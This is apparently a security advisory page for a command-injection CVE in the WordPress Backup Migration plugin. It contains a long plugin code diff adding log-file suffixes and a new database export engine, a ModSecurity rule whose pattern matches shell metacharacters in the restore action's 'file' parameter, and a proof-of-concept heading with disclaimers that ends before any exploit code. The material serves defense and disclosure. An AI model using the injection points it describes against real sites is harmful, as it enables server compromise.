-        $latestStagingProgress = file_get_contents(BMI_STAGING . '/latest_staging_progress.log');
+      if (file_exists(BMI_STAGING . '/latest_staging_progress.' . BMI_LOGS_SUFFIX . '.log')) {
+        $latestStagingProgress = file_get_contents(BMI_STAGING . '/latest_staging_progress.' . BMI_LOGS_SUFFIX . '.log');
       }

       if (file_exists(BMI_CONFIG_PATH)) {
         $currentPluginConfig = substr(file_get_contents(BMI_CONFIG_PATH), 8);
       }

-      $completeLogsPath = BMI_CONFIG_DIR . DIRECTORY_SEPARATOR . 'complete_logs.log';
+      $completeLogsPath = BMI_CONFIG_DIR . DIRECTORY_SEPARATOR . 'complete_logs.' . BMI_LOGS_SUFFIX . '.log';
       if (file_exists($completeLogsPath)) {
         $fileSize = filesize($completeLogsPath);
         if ($fileSize <= 65535) {
@@ -5280,7 +5308,7 @@
         }
       }

-      $backgroundLogsPath = BMI_CONFIG_DIR . DIRECTORY_SEPARATOR . 'background-errors.log';
+      $backgroundLogsPath = BMI_CONFIG_DIR . DIRECTORY_SEPARATOR . 'background-errors.' . BMI_LOGS_SUFFIX . '.log';
       if (file_exists($backgroundLogsPath)) {
         if ((filesize($backgroundLogsPath) / 1024 / 1024) <= 4) {
           $backgroundErrors = file_get_contents($backgroundLogsPath);
@@ -5630,6 +5658,10 @@
      * @return {array} with staging sites data
      */
     public function stagingSitesGetList() {
+      // Force reconstuct local staging sites configuration
+      require_once BMI_INCLUDES . '/staging/local.php';
+      $stagingLocal = new StagingLocal('..ajax..');
+      $stagingLocal->reconstructConfigurations();

       // Include local staging site controller
       require_once BMI_INCLUDES . '/staging/controller.php';
--- a/backup-backup/includes/backup-process.php
+++ b/backup-backup/includes/backup-process.php
@@ -11,6 +11,7 @@
   use BMIPluginDatabaseBMI_Database as Database;
   use BMIPluginDatabaseBMI_Database_Exporter as BetterDatabaseExport;
   use BMIPluginBackup_Migration_Plugin as BMP;
+  use BMIPluginDatabaseExportDatabaseExportProcessor;
   use BMIPluginBMI_Pro_Core as Pro_Core;
   use BMIPlugin AS BMI;

@@ -140,7 +141,7 @@
         ini_set('display_errors', 1);
         ini_set('error_reporting', E_ALL);
         ini_set('log_errors', 1);
-        ini_set('error_log', BMI_CONFIG_DIR . '/background-errors.log');
+        ini_set('error_log', BMI_CONFIG_DIR . '/background-errors.' . BMI_LOGS_SUFFIX . '.log');
       }

     }
@@ -578,7 +579,7 @@
       if (strpos($_manifest, 'file://') !== false) $_manifest = substr($_manifest, 7);

       $log_file = fopen($logs, 'w');
-                  fwrite($log_file, file_get_contents(BMI_BACKUPS . DIRECTORY_SEPARATOR . 'latest.log'));
+                  fwrite($log_file, file_get_contents(BMI_BACKUPS . DIRECTORY_SEPARATOR . 'latest.' . BMI_LOGS_SUFFIX . '.log'));
                   fclose($log_file);
       $files = [$logs, $_manifest];

@@ -1273,15 +1274,22 @@
             $this->output->log("Iterating database...", 'INFO');
           }

-          // Require Database Manager
-          require_once BMI_INCLUDES . DIRECTORY_SEPARATOR . 'database' . DIRECTORY_SEPARATOR . 'better-backup-v3.php';

           $database_file_dir = $this->fixSlashes((dirname($database_file))) . DIRECTORY_SEPARATOR;
           $better_database_files_dir = $database_file_dir . 'db_tables';
           $better_database_files_dir = str_replace('file:', 'file://', $better_database_files_dir);

           if (!is_dir($better_database_files_dir)) @mkdir($better_database_files_dir, 0755, true);
-          $db_exporter = new BetterDatabaseExport($better_database_files_dir, $this->output, $this->dbit, intval($this->backupstart));
+          $dbEngine = 3;
+          if (Dashboardbmi_get_config('OTHER::NEW_DATABASE_EXPORT_ENGINE')) {
+            require_once BMI_INCLUDES . DIRECTORY_SEPARATOR . 'database' . DIRECTORY_SEPARATOR . 'export' . DIRECTORY_SEPARATOR . 'class-database-export-processor.php';
+            $dbEngine = 4;
+            $db_exporter = new DatabaseExportProcessor($better_database_files_dir, $this->output, intval($this->backupstart));
+          } else {
+            // Require Database Manager
+            require_once BMI_INCLUDES . DIRECTORY_SEPARATOR . 'database' . DIRECTORY_SEPARATOR . 'better-backup-v3.php';
+            $db_exporter = new BetterDatabaseExport($better_database_files_dir, $this->output, $this->dbit, intval($this->backupstart));
+          }

           $dbBatchingEnabled = false;
           if (Dashboardbmi_get_config('OTHER:BACKUP:DB:BATCHING') == 'true') {
@@ -1294,7 +1302,11 @@

           if (BMI_CLI_REQUEST === true || $dbBatchingEnabled === false) {

-            $results = $db_exporter->export();
+            if ($dbEngine === 4) {
+              $results = $db_exporter->exportAll();
+            } else {
+              $results = $db_exporter->export();
+            }

             $this->output->log("Database backup finished", 'SUCCESS');
             $this->dbitJustFinished = true;
@@ -1303,7 +1315,16 @@

           } else {

-            $results = $db_exporter->export($this->dbit, $this->dblast);
+            if ($dbEngine === 4) {
+              $results = $db_exporter->exportBatch();
+              // Backward compatibility for v3 engine
+              $this->dbit += 1;
+              $results['batchingStep'] = $this->dbit;
+              $results['finishedQuery'] = $this->dblast;
+              $results['dumpCompleted'] = $results['status'] === DatabaseExportProcessor::STATUS_COMPLETED;
+            } else {
+              $results = $db_exporter->export($this->dbit, $this->dblast);
+            }

             $this->dbit = intval($results['batchingStep']);
             $this->dblast = intval($results['finishedQuery']);
--- a/backup-backup/includes/check/compatibility.php
+++ b/backup-backup/includes/check/compatibility.php
@@ -477,7 +477,7 @@
      * @return bool True if the the recommendation is added, false otherwise.
      */
     public function addRecommendation($verbose, $message) {
-        $file = dirname(BMI_BACKUPS) . DIRECTORY_SEPARATOR . 'backups' . DIRECTORY_SEPARATOR . 'latest' . ($this->for == 'backup' ? '' : '_migration') . '.log';
+        $file = dirname(BMI_BACKUPS) . DIRECTORY_SEPARATOR . 'backups' . DIRECTORY_SEPARATOR . 'latest' . ($this->for == 'backup' ? '.' : '_migration.') . BMI_LOGS_SUFFIX . '.log';
         $content = file_get_contents($file);
         $pattern = '#^[VERBOSE] [[0-9-]+ [0-9:]+] ' . $verbose . '#mi'; // e.g. [VERBOSE] [2021-12-31 23:59:59] missing space.
         if (preg_match($pattern, $content, $matches)) {
--- a/backup-backup/includes/config.php
+++ b/backup-backup/includes/config.php
@@ -185,12 +185,19 @@
         if ($key !== false) unset($current_patch[$key]);
         update_option('bmi_hotfixes', $current_patch);
       }
+
+      $bmiLogFilesSuffix = bmi_get_config('STORAGE::LOCAL::LOGS::SUFFIX', $newConfigStaticPath);
+      if ($bmiLogFilesSuffix == false) {
+        $bmiLogFilesSuffix = bmi_config_random_string(10);
+        bmi_set_config('STORAGE::LOCAL::LOGS::SUFFIX', $bmiLogFilesSuffix);
+      }

       if (!defined('BMI_BACKUPS_ROOT')) define('BMI_BACKUPS_ROOT', $localStoragePath);
       if (!defined('BMI_CONFIG_DIR')) define('BMI_CONFIG_DIR', $localStoragePath);
       if (!defined('BMI_BACKUPS')) define('BMI_BACKUPS', $localStoragePath . DIRECTORY_SEPARATOR . 'backups');
       if (!defined('BMI_STAGING')) define('BMI_STAGING', $localStoragePath . DIRECTORY_SEPARATOR . 'staging');
       if (!defined('BMI_TMP')) define('BMI_TMP', BMI_BACKUPS_ROOT . DIRECTORY_SEPARATOR . 'tmp');
+      if (!defined('BMI_LOGS_SUFFIX')) define('BMI_LOGS_SUFFIX', $bmiLogFilesSuffix);

       $bmi_initial_config_dirpath = $localStoragePath;
       $bmi_initial_config_filepath = $newConfigStaticPath;
--- a/backup-backup/includes/dashboard/chapter/other_config.php
+++ b/backup-backup/includes/dashboard/chapter/other_config.php
@@ -550,6 +550,18 @@
           </span>
         </label>
       </div>
+      <div class="lh40">
+        <label for="bmi-use-new-database-export-engine">
+          <input type="checkbox" id="bmi-use-new-database-export-engine"<?php bmi_try_checked('OTHER::NEW_DATABASE_EXPORT_ENGINE'); ?> />
+          <span class="relative">
+        <?php esc_html_e("Enable the optimized Database Export engine to reduce memory usage and speed up table dumping.", 'backup-backup'); ?>
+        <span class="bmi-info-icon tooltip" tooltip="<?php echo esc_attr__(
+          "The optimized export engine streams table data in memory-efficient chunks rather than loading entire tables at once. Unlike the Search & Replace engine which focuses on data transformation, this engine is specifically designed to minimize peak memory consumption and accelerate the raw data dumping process during backup.",
+          'backup-backup'
+        ); ?>"></span>
+          </span>
+        </label>
+      </div>

       <div class="lh40">
         <label for="bmi-db-single-file-backup">
--- a/backup-backup/includes/dashboard/chapter/where_config.php
+++ b/backup-backup/includes/dashboard/chapter/where_config.php
@@ -131,6 +131,29 @@
         </div>
       </div>
       <?php } ?>
+      <?php
+        if (has_action('bmi_pro_pcloud_template')) {
+          do_action('bmi_pro_pcloud_template');
+        } else {
+      ?>
+      <div class="tab2-item">
+        <div class="already_ready"></div>
+        <div class="bg_clock_day2">
+          <img src="<?php echo $this->get_asset('images', 'premium.svg') ?>" alt="crown" class="crown_img" height="30px" width="30px">
+          <?php echo BMI_ALREADY_IN_PRO; ?>
+        </div>
+        <div class="d-flex ia-center">
+          <img src="<?php echo $this->get_asset('images', 'pcloud.svg') ?>" alt="logo" class="tab2-img"> <span class="ml25 title_whereStored">pCloud</span>
+          <img src="<?php echo $this->get_asset('images', 'premium.svg') ?>" alt="logo" class="crown2">
+        </div>
+        <div class="ia-center">
+          <div class="b2 bmi-switch"><input type="checkbox" disabled="disabled" class="checkbox">
+            <div class="bmi-knobs"><span></span></div>
+            <div class="bmi-layer_str"></div>
+          </div>
+        </div>
+      </div>
+      <?php } ?>

       <?php
       if (has_action('bmi_pro_sftp_template')) {
--- a/backup-backup/includes/dashboard/modals/prenotice-modal.php
+++ b/backup-backup/includes/dashboard/modals/prenotice-modal.php
@@ -14,7 +14,7 @@
     <a href="#" class="bmi-modal-close">×</a>
     <div class="bmi-modal-content">

-      <div class="mm60 f26 medium black"><?php esc_html_e('We noticed:', 'backup-backup') ?></div>
+      <div class="mm60 f26 medium black"><?php esc_html_e('Confirm Backup', 'backup-backup') ?></div>
       <div class="prenotices">

         <div class="prenotice red prenotic-1">
@@ -29,8 +29,7 @@
         </div>
         <div class="prenotice prenotic-3">
           <div class="text">
-            <?php esc_html_e('Based on your selections ', 'backup-backup') ?>
-            <span id="prenotice-size"></span><?php esc_html_e(' of data (unzipped) will be backed up.', 'backup-backup') ?>
+            <?php esc_html_e('You are about to create a new backup based on your current configuration settings.', 'backup-backup') ?>
           </div>
         </div>
         <div class="prenotice prenotic-4">
--- a/backup-backup/includes/dashboard/modals/restore-parts-modal.php
+++ b/backup-backup/includes/dashboard/modals/restore-parts-modal.php
@@ -1,49 +0,0 @@
-<?php
-
-  // Namespace
-  namespace BMIPluginDashboard;
-
-  // Exit on direct access
-  if (!defined('ABSPATH')) exit;
-
-
-
-?>
-
-<div class="bmi-modal bmi-modal-no-close" id="restore-parts-modal">
-  <div class="bmi-modal-wrapper no-hpad" style="max-width: 780px; max-width: min(780px, 80vw);">
-    <span class="bmi-modal-back">
-    </span>
-    <a href="#" class="bmi-modal-close">×</a>
-    <div class="bmi-modal-content center">
-        <div class="f26 bold black modal-title">
-            <?php esc_html_e('Restore Backup', 'backup-backup'); ?>
-        </div>
-        <div class="location-container">
-        </div>
-
-        <div class="zip-content-table">
-          <table>
-            <thead>
-              <tr>
-                <th class="checkbox-column"></th>
-                <th><?php esc_html_e('Name', 'backup-backup'); ?></th>
-                <th><?php esc_html_e('Date Modified', 'backup-backup'); ?></th>
-              </tr>
-            </thead>
-            <tbody>
-            </tbody>
-          </table>
-        </div>
-
-        <div class="mm60 mtl center">
-            <a href="#" class="btn max280" id="restore-parts">
-            <div class="text">
-                <div class="f20 bold"><?php esc_html_e('Start restoring!', 'backup-backup') ?></div>
-            </div>
-            </a>
-        </div>
-
-    </div>
-  </div>
-</div>
 No newline at end of file
--- a/backup-backup/includes/dashboard/modals/simple-explorer-modal.php
+++ b/backup-backup/includes/dashboard/modals/simple-explorer-modal.php
@@ -0,0 +1,49 @@
+<?php
+
+  // Namespace
+  namespace BMIPluginDashboard;
+
+  // Exit on direct access
+  if (!defined('ABSPATH')) exit;
+
+
+
+?>
+
+<div class="bmi-modal bmi-modal-no-close" id="simple-explorer-modal" data-feature-triggered>
+  <div class="bmi-modal-wrapper no-hpad" style="max-width: 780px; max-width: min(780px, 80vw);">
+    <span class="bmi-modal-back">
+    </span>
+    <a href="#" class="bmi-modal-close">×</a>
+    <div class="bmi-modal-content center">
+        <div class="f26 bold black modal-title">
+            <?php esc_html_e('Restore Backup', 'backup-backup'); ?>
+        </div>
+        <div class="location-container">
+        </div>
+
+        <div class="browse-content-table">
+          <table>
+            <thead>
+              <tr>
+                <th class="checkbox-column"></th>
+                <th><?php esc_html_e('Name', 'backup-backup'); ?></th>
+                <th><?php esc_html_e('Date Modified', 'backup-backup'); ?></th>
+              </tr>
+            </thead>
+            <tbody>
+            </tbody>
+          </table>
+        </div>
+
+        <div class="mm60 mtl center">
+            <a href="#" class="btn max280" id="restore-parts">
+            <div class="text">
+                <div class="f20 bold confirm-button"><?php esc_html_e('Start restoring!', 'backup-backup') ?></div>
+            </div>
+            </a>
+        </div>
+
+    </div>
+  </div>
+</div>
 No newline at end of file
--- a/backup-backup/includes/dashboard/modules/before-update-backup-errors.php
+++ b/backup-backup/includes/dashboard/modules/before-update-backup-errors.php
@@ -22,7 +22,7 @@
         <span class="bmi-error-toggle" data-expand="<?php esc_attr_e('Expand', 'backup-backup'); ?>" data-collapse="<?php esc_attr_e('Collapse', 'backup-backup'); ?>">
           <?php esc_html_e('Expand', 'backup-backup'); ?>
         </span> |
-        <span id="bmi-error-dismiss">
+        <span class="bmi-error-dismiss">
           <?php esc_html_e('Dismiss', 'backup-backup'); ?>
         </span>
       </div>
--- a/backup-backup/includes/dashboard/modules/email-errors.php
+++ b/backup-backup/includes/dashboard/modules/email-errors.php
@@ -21,7 +21,7 @@
         <span class="bmi-error-toggle" data-expand="<?php esc_attr_e('Expand', 'backup-backup'); ?>" data-collapse="<?php esc_attr_e('Collapse', 'backup-backup'); ?>">
           <?php esc_html_e('Expand', 'backup-backup'); ?>
         </span> |
-        <span id="bmi-error-dismiss">
+        <span class="bmi-error-dismiss">
           <?php esc_html_e('Dismiss', 'backup-backup'); ?>
         </span>
       </div>
--- a/backup-backup/includes/dashboard/modules/plugins-auto-update-notice.php
+++ b/backup-backup/includes/dashboard/modules/plugins-auto-update-notice.php
@@ -68,7 +68,7 @@
         <span class="bmi-error-toggle" data-expand="<?php esc_attr_e('Expand', 'backup-backup'); ?>" data-collapse="<?php esc_attr_e('Collapse', 'backup-backup'); ?>">
           <?php esc_html_e('Expand', 'backup-backup'); ?>
         </span> |
-        <span id="bmi-error-dismiss" issue-type="backupbliss" onclick="document.getElementById('backupbliss-issues').remove()">
+        <span class="bmi-error-dismiss" issue-type="backupbliss" onclick="document.getElementById('backupbliss-issues').remove()">
           <?php esc_html_e('Dismiss', 'backup-backup'); ?>
         </span>
       </div>
--- a/backup-backup/includes/dashboard/modules/security-plugins-warning.php
+++ b/backup-backup/includes/dashboard/modules/security-plugins-warning.php
@@ -36,7 +36,7 @@
         <span class="bmi-error-toggle" data-expand="<?php esc_attr_e('Expand', 'backup-backup'); ?>" data-collapse="<?php esc_attr_e('Collapse', 'backup-backup'); ?>">
           <?php esc_html_e('Expand', 'backup-backup'); ?>
         </span> |
-        <span id="bmi-error-dismiss">
+        <span class="bmi-error-dismiss">
           <?php esc_html_e('Dismiss', 'backup-backup'); ?>
         </span>
       </div>
--- a/backup-backup/includes/dashboard/settings.php
+++ b/backup-backup/includes/dashboard/settings.php
@@ -234,7 +234,7 @@
   <?php require_once 'modals/backup-success-modal.php'; ?>
   <?php require_once 'modals/prenotice-modal.php'; ?>
   <?php require_once 'modals/pre-restore-modal.php'; ?>
-  <?php require_once 'modals/restore-parts-modal.php'; ?>
+  <?php require_once 'modals/simple-explorer-modal.php'; ?>
   <?php require_once 'modals/error-modal.php'; ?>
   <?php require_once 'modals/restore-progress-modal.php'; ?>
   <?php require_once 'modals/restore-success-modal.php'; ?>
--- a/backup-backup/includes/dashboard/templates/backup-row-template.php
+++ b/backup-backup/includes/dashboard/templates/backup-row-template.php
@@ -14,6 +14,7 @@
 $clouds["ONEDRIVE"] = [ "name" => "OneDrive", "icon" => "one-drive-mono.svg" ];
 $clouds["DROPBOX"] = [ "name" => "Dropbox", "icon" => "dropbox-mono.svg" ];
 $clouds["FTP"] = [ "name" => "FTP", "icon" => "ftp-mono.svg" ];
+$clouds["PCLOUD"] = [ "name" => "pCloud", "icon" => "pcloud-mono.svg" ];
 $clouds["AWS"] = [ "name" => "Amazon S3", "icon" => "amazon-s3-mono.svg" ];
 $clouds["WASABI"] = [ "name" => "Wasabi", "icon" => "wasabi-s3-mono.svg" ];
 $clouds["SFTP"] = [ "name" => "SFTP", "icon" => "sftp-mono.svg" ];
--- a/backup-backup/includes/dashboard/translations.php
+++ b/backup-backup/includes/dashboard/translations.php
@@ -289,6 +289,27 @@
   <div id="direct-link-enabled-tooltip">
     <?php esc_html_e('Copy link to backup file for super-quick migration', 'backup-backup') ?>
   </div>
+  <div id="simple-explorer-for-restoring">
+    <?php esc_html_e('Restore Backup', 'backup-backup') ?>
+  </div>
+  <div id="simple-explorer-for-excluding">
+    <?php esc_html_e('Exclude from Backup', 'backup-backup') ?>
+  </div>
+  <div id="simple-explorer-confirm-for-restoring">
+    <?php esc_html_e('Start restoring!', 'backup-backup') ?>
+  </div>
+  <div id="simple-explorer-confirm-for-excluding">
+    <?php esc_html_e('Exclude selected', 'backup-backup') ?>
+  </div>
+  <div id="bmi-exclude-save-success">
+    <?php esc_html_e('Settings saved successfully.', 'backup-backup') ?>
+  </div>
+  <div id="bmi-empty-directory">
+    <?php esc_html_e('This directory is empty.', 'backup-backup') ?>
+  </div>
+  <div id="bmi-no-partial-exclude">
+    <?php esc_html_e('This type can only be fully backed up or fully excluded. Partial exclusion is not supported.', 'backup-backup') ?>
+  </div>



--- a/backup-backup/includes/database/export/class-database-export-engine.php
+++ b/backup-backup/includes/database/export/class-database-export-engine.php
@@ -0,0 +1,554 @@
+<?php
+
+namespace BMIPluginDatabaseExport;
+
+require_once __DIR__ . '/interface-database-export-repository.php';
+require_once __DIR__ . '/class-database-export-repository.php';
+require_once BMI_INCLUDES . '/progress/class-file-progress-storage.php';
+
+use BMIPluginBackup_Migration_Plugin as BMP;
+use BMIPluginProgressProgressStorageInterface;
+use BMIPluginProgressFileProgressStorage;
+/**
+ * Class DatabaseExportEngine
+ *
+ * Handles the export of a single database table to a SQL file.
+ * Supports resumable batch processing with key-based or offset-based pagination.
+ *
+ */
+class DatabaseExportEngine
+{
+    const STATUS_IN_PROGRESS = 'in_progress';
+    const STATUS_COMPLETED = 'completed';
+    const PAGINATION_KEY_BASED = 'key_based';
+    const PAGINATION_OFFSET_BASED = 'offset_based';
+
+    /**
+     * Default number of rows to fetch per batch.
+     */
+    const DEFAULT_PAGE_SIZE = 5000;
+
+    /**
+     * Default max bytes per SQL file chunk before flushing.
+     */
+    const DEFAULT_MAX_QUERY_SIZE = 1048576; // 1 MB
+
+    /**
+     * @var string The table name to export.
+     */
+    private $table;
+
+    /**
+     * @var DatabaseExportRepositoryInterface The database repository.
+     */
+    private $repository;
+
+    /**
+     * @var ProgressStorageInterface The state storage handler.
+     */
+    private $stateStorage;
+
+    /**
+     * @var int The number of rows to fetch per batch.
+     */
+    private $pageSize;
+
+    /**
+     * @var int The max query/insert size in bytes before writing to disk.
+     */
+    private $maxQuerySize;
+
+    /**
+     * @var string The storage directory for SQL output files.
+     */
+    private $outputDir;
+
+    /**
+     * @var string The time-based prefix for temporary table names.
+     */
+    private $tablePrefix;
+
+    /**
+     * Constructor.
+     *
+     * @param string $table The table name to export.
+     * @param string $outputDir The directory to write SQL files to.
+     * @param string $tablePrefix The time-based prefix for temp table names.
+     * @param DatabaseExportRepositoryInterface|null $repository Optional repository instance.
+     * @param ProgressStorageInterface|null $stateStorage Optional state storage instance.
+     * @param int|null $pageSize Optional rows per batch.
+     * @param int|null $maxQuerySize Optional max query size in bytes.
+     */
+    public function __construct(
+        $table,
+        $outputDir,
+        $tablePrefix,
+        $repository = null,
+        $stateStorage = null,
+        $pageSize = null,
+        $maxQuerySize = null
+    ) {
+        $this->table = $table;
+        $this->outputDir = rtrim($outputDir, DIRECTORY_SEPARATOR);
+        $this->tablePrefix = $tablePrefix;
+        $this->repository = $repository !== null ? $repository : new DatabaseExportRepository();
+        $this->stateStorage = $stateStorage !== null ? $stateStorage : new FileProgressStorage(
+            null,
+            'db-export-' . preg_replace('/[^A-Za-z0-9_-]/', '', $table) . '.json'
+        );
+        $this->pageSize = $pageSize !== null ? $pageSize : (defined('BMI_DB_MAX_ROWS_PER_QUERY') ? BMI_DB_MAX_ROWS_PER_QUERY : self::DEFAULT_PAGE_SIZE);
+        $this->maxQuerySize = $maxQuerySize !== null ? $maxQuerySize : self::DEFAULT_MAX_QUERY_SIZE;
+    }
+
+    /**
+     * Returns the default structure for the export state.
+     *
+     * @param array $tableInfo Column info from the repository.
+     * @param int $rowCount Total row count.
+     * @return array The default state array.
+     */
+    private function getDefaultState($tableInfo, $rowCount)
+    {
+        return [
+            'status' => self::STATUS_IN_PROGRESS,
+            'table' => $this->table,
+            'time' => [
+                'start' => microtime(true),
+                'end' => 0
+            ],
+            'columns' => $tableInfo['columns'],
+            'primary_key' => $tableInfo['primary_key'],
+            'auto_increment_primary_key' => $tableInfo['auto_increment_primary_key'],
+            'pagination_type' => $tableInfo['auto_increment_primary_key'] !== false
+                ? self::PAGINATION_KEY_BASED
+                : self::PAGINATION_OFFSET_BASED,
+            'key_based' => [
+                'last_processed_key' => 0,
+            ],
+            'offset_based' => [
+                'offset' => 0,
+            ],
+            'rows_count' => $rowCount,
+            'rows_exported' => 0,
+            'total_batches' => (int) ceil($rowCount / $this->pageSize),
+            'current_batch' => 0,
+            'page_size' => $this->pageSize,
+            'recipe_written' => false,
+            'output_file' => $this->buildOutputFilePath(),
+        ];
+    }
+
+    /**
+     * Retrieves the latest state or initializes a new one.
+     *
+     * @return array The state array.
+     */
+    private function getOrInitState()
+    {
+        $stored = $this->stateStorage->load();
+        if ($stored !== null) {
+            return $stored;
+        }
+
+        $tableInfo = $this->repository->getTableColumnsInfo($this->table);
+        $rowCount = $this->getFilteredRowCount();
+
+        return $this->getDefaultState($tableInfo, $rowCount);
+    }
+
+    /**
+     * Gets the row count, applying exclusion filters if active.
+     *
+     * Delegates to the 'bmip_smart_exclusion_post_revisions_condition' filter hook
+     * to allow the pro plugin or other extensions to add WHERE conditions.
+     *
+     * @return int The row count.
+     */
+    private function getFilteredRowCount()
+    {
+        $conditions = $this->getExclusionConditions();
+
+        if (!empty($conditions)) {
+            return $this->repository->getRowCount($this->table, implode(' AND ', $conditions));
+        }
+
+        return $this->repository->getRowCount($this->table);
+    }
+
+    /**
+     * Gets exclusion conditions from WordPress filters.
+     *
+     * Delegates to the 'bmip_smart_exclusion_post_revisions_condition' filter hook,
+     * allowing the pro plugin or other extensions to add WHERE conditions
+     * for specific tables (e.g., excluding post revisions).
+     *
+     * @return array The WHERE conditions array.
+     */
+    private function getExclusionConditions()
+    {
+        $conditions = apply_filters('bmip_smart_exclusion_post_revisions_condition', [], $this->table);
+
+        return is_array($conditions) ? $conditions : [];
+    }
+
+    /**
+     * Exports one batch of the table.
+     *
+     * Call this method repeatedly until the returned status is 'completed'.
+     * Each call processes one page of rows and streams them directly to the output file.
+     *
+     * @return array{status: string, table: string, batch: int, total_batches: int, rows_exported: int, rows_count: int, output_file: string}
+     */
+    public function exportBatch()
+    {
+        $state = $this->getOrInitState();
+
+        // Write CREATE TABLE recipe on first batch
+        if (!$state['recipe_written']) {
+            $this->writeRecipe($state);
+            $state['recipe_written'] = true;
+        }
+
+        // Empty table — mark completed immediately
+        if ($state['rows_count'] === 0) {
+            return $this->completeExport($state);
+        }
+
+        // Fetch and stream one batch
+        $sql = $this->buildFetchQuery($state);
+        $this->repository->execute('SET foreign_key_checks = 0');
+
+        try {
+            $batchResult = $this->streamBatchToFile($sql, $state);
+        } finally {
+            $this->repository->execute('SET foreign_key_checks = 1');
+        }
+
+        // Update state from batch result
+        $state['rows_exported'] += $batchResult['rows_written'];
+        $state['current_batch']++;
+
+        // Update pagination cursor
+        if ($state['pagination_type'] === self::PAGINATION_KEY_BASED && $batchResult['last_key'] !== null) {
+            $state['key_based']['last_processed_key'] = $batchResult['last_key'];
+        } elseif ($state['pagination_type'] === self::PAGINATION_OFFSET_BASED) {
+            $state['offset_based']['offset'] += $batchResult['rows_written'];
+        }
+
+        // Check if export is complete
+        if ($batchResult['rows_written'] < $this->pageSize || $state['rows_exported'] >= $state['rows_count']) {
+            return $this->completeExport($state);
+        }
+
+        // Save progress and return in-progress
+        $this->stateStorage->save($state);
+        return $this->buildResult(self::STATUS_IN_PROGRESS, $state);
+    }
+
+    /**
+     * Writes the CREATE TABLE recipe to the output file.
+     *
+     * @param array $state The current state.
+     */
+    private function writeRecipe(&$state)
+    {
+        $createSql = $this->repository->getCreateTableStatement($this->table);
+        if ($createSql === null) {
+            return;
+        }
+
+        $prefixedTable = $this->tablePrefix . '_' . $this->table;
+        $escapedOriginal = $this->repository->escapeIdentifier($this->table);
+        $escapedPrefixed = $this->repository->escapeIdentifier($prefixedTable);
+
+        // Replace table name in CREATE statement
+        $createSql = str_replace($escapedOriginal, $escapedPrefixed, $createSql);
+
+        // Build recipe header
+        $recipe = "/* CUSTOM VARS START */n";
+        $recipe .= "/* REAL_TABLE_NAME: " . $escapedOriginal . "; */n";
+        $recipe .= "/* PRE_TABLE_NAME: " . $escapedPrefixed . "; */n";
+        $recipe .= "/* CUSTOM VARS END */nn";
+
+        // Make it IF NOT EXISTS and clean up formatting
+        $createStatement = 'CREATE TABLE IF NOT EXISTS ' . substr($createSql, 13);
+        $createStatement = str_replace("n ", '', $createStatement);
+        $createStatement = str_replace("n", '', $createStatement);
+
+        $recipe .= $createStatement . ";n";
+
+        $file = fopen($state['output_file'], 'w');
+        if ($file === false) {
+            throw new RuntimeException(
+                sprintf('Failed to open output file for recipe: %s', $state['output_file'])
+            );
+        }
+        fwrite($file, $recipe);
+        fclose($file);
+    }
+
+    /**
+     * Builds the SQL query for fetching a batch of rows.
+     *
+     * @param array $state The current state.
+     * @return string The SQL query.
+     */
+    private function buildFetchQuery($state)
+    {
+        $table = $this->repository->escapeIdentifier($this->table);
+        $sql = 'SELECT * FROM ' . $table;
+
+        $conditions = [];
+
+        // Pagination WHERE clause
+        if ($state['pagination_type'] === self::PAGINATION_KEY_BASED) {
+            $lastKey = (int) $state['key_based']['last_processed_key'];
+            $pk = $state['auto_increment_primary_key'];
+            $conditions[] = sprintf('`%s` > %d', str_replace('`', '``', $pk), $lastKey);
+        }
+
+        // Exclusion conditions (e.g., post revisions via filters)
+        $conditions = array_merge($conditions, $this->getExclusionConditions());
+
+        if (!empty($conditions)) {
+            $sql .= ' WHERE ' . implode(' AND ', $conditions);
+        }
+
+        // ORDER BY for key-based pagination
+        if ($state['pagination_type'] === self::PAGINATION_KEY_BASED) {
+            $pk = $state['auto_increment_primary_key'];
+            $sql .= sprintf(' ORDER BY `%s` ASC', str_replace('`', '``', $pk));
+        }
+
+        // LIMIT clause
+        if ($state['pagination_type'] === self::PAGINATION_KEY_BASED) {
+            $sql .= sprintf(' LIMIT %d', $this->pageSize);
+        } else {
+            $offset = (int) $state['offset_based']['offset'];
+            $sql .= sprintf(' LIMIT %d, %d', $offset, $this->pageSize);
+        }
+
+        return $sql;
+    }
+
+    /**
+     * Streams query results directly into the SQL output file.
+     *
+     * Instead of buffering all rows in memory (array_merge), this method
+     * writes INSERT statements to disk as rows are fetched from the DB.
+     * Uses strlen(serialize()) for accurate size tracking.
+     *
+     * @param string $sql The SELECT query.
+     * @param array $state The current state.
+     * @return array{rows_written: int, last_key: mixed, bytes_written: int}
+     */
+    private function streamBatchToFile($sql, &$state)
+    {
+        $file = fopen($state['output_file'], 'a+');
+        if ($file === false) {
+            throw new RuntimeException(
+                sprintf('Failed to open output file for writing: %s', $state['output_file'])
+            );
+        }
+
+        $columns = $state['columns'];
+        $prefixedTable = $this->tablePrefix . '_' . $this->table;
+        $insertPrefix = 'INSERT INTO ' . $this->reposit

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-7693
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20267693,phase:2,deny,status:403,chain,msg:'CVE-2026-7693 - Backup Migration OS Command Injection via file parameter',severity:'CRITICAL',tag:'CVE-2026-7693'"
  SecRule ARGS_POST:action "@rx ^backup-migration-restore$" "chain"
    SecRule ARGS_POST:file "@rx (?:;|||&|`|$()" "t:urlDecode"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
